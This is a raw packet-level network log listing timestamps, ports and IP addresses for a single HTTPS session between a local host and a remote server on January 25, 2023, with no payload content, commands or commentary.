Jan 25, 2023 21:04:34.524665117 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.524682045 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.524724960 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.524763107 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.524787903 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.524815083 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.524857998 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.524869919 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.524889946 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.524918079 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.524919033 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.524934053 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.524966002 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.524993896 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.525041103 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.525048971 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.525074959 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.525094032 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.525100946 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.525119066 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.525147915 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.525204897 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.525218010 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.525248051 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.525333881 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.525341988 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.525397062 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.525398016 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.525408983 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.525418043 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.525449038 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.525480032 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.525543928 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.525553942 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.525569916 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.525597095 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.525610924 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.525621891 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.525656939 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.525691986 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.525705099 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.525717020 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.525748968 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.525774002 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.525801897 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.525826931 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.525840998 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.525847912 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.525876999 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.525882006 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.525892973 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.525928974 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.525979996 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.525996923 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.526026011 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.526078939 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.526087999 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.526113033 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.526129961 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.526139021 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.526148081 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.526191950 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.526205063 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.526240110 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.526247978 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.526263952 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.526284933 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.526289940 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.526316881 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.526328087 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.526354074 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.526386976 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.526408911 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.526437044 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.526489019 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.526498079 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.526539087 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.526539087 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.526561022 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.526572943 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.526587963 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.526613951 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.526664972 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.526715040 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.526747942 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.526792049 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.526803017 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.526818991 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.526855946 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.526868105 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.526897907 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.526941061 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.526949883 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.526983976 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.526994944 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.527009964 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.527036905 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.527087927 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.527097940 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.527133942 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.527142048 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.527143002 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.527158976 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.527188063 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.527208090 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.527251005 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.527260065 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.527275085 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.527286053 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.527313948 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.527327061 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.527337074 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.527363062 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.527405977 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.527406931 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.527421951 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.527455091 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.527472019 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.527488947 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.527496099 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.527537107 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.527549982 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.527561903 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.527570963 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.527621984 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.527626038 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.527653933 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.527662039 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.527678967 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.527712107 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.527714968 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.527755022 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.527766943 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.527781010 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.527806997 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.527820110 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.527831078 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.527878046 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.527883053 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.527904034 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.527905941 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.527920961 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.527962923 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.527978897 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.527997017 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.528007030 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.528043032 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.528090000 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.552999020 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.553069115 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.553205967 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.553231955 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.553252935 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.553277016 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.556632996 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.556664944 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.556787014 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.556812048 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.556891918 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.557481050 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.557501078 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.557562113 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.557574987 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.557604074 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.557625055 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.557898998 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.557919979 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.557962894 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.557969093 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.558007002 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.558027029 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.558293104 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.558315992 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.558367968 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.558387995 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.558403969 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.558427095 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.558634996 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.558717966 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.589287043 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.589308023 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.589556932 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.591007948 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.591089010 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.591130972 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.591147900 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.591188908 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.591206074 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.618252039 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.618311882 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.618438959 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.618464947 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.618489981 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.618525028 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.618618965 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.619556904 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.619599104 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.619678020 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.619693041 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.619723082 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.619735956 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.620459080 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.620500088 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.620568991 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.620593071 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.620613098 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.620615959 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.620642900 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.620655060 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.620682001 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.620693922 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.620726109 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.620735884 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.620767117 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.620795012 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.620805025 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.620821953 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.620846987 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.620874882 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.620918989 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.620929003 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.620949030 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.620985031 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.620985031 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.621001959 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.621016979 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.621094942 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.621097088 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.621114016 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.621165991 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.621170998 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.621218920 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.621236086 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.621243954 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.621253967 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.621290922 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.621303082 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.621346951 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.621366024 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.621388912 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.621412039 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.621417046 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.621429920 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.621458054 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.621484041 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.621501923 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.621522903 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.621542931 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.621579885 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.621609926 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.621653080 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.621666908 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.621689081 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.621718884 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.621723890 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.621742010 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.621773958 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.621798038 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.621836901 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.621853113 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.621886969 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.621915102 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.621944904 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.826751947 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.827022076 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.034734964 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.034995079 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.180563927 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.180602074 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.180643082 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.180778980 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.180840015 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.184448004 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.184473038 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.184509039 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.184541941 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.184567928 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.184644938 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.184667110 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.184796095 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.184815884 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.184838057 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.184885025 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.184896946 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.184928894 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.184992075 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.185044050 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.185072899 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.195558071 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.195620060 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.195884943 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.261612892 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.261653900 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.261684895 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.261723042 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.261732101 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.261876106 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.261889935 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.262089968 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.262105942 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.262162924 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.262173891 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.262357950 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.272099972 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.272155046 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.272438049 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.275619030 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.275656939 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.275684118 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.275722980 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.275813103 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.275826931 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.276035070 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.276046038 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.276120901 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.276129961 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.276268005 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.276352882 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.291181087 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.291213989 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.291454077 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.294806004 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.294823885 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.294842005 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.294871092 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.294904947 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.294956923 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.295211077 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.295228004 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.295272112 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.295279980 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.295397997 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.295478106 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.304964066 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.304987907 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.305212021 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.308394909 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.308414936 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.308428049 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.308458090 CET	443	49716	92.222.250.82	192.168.2.6
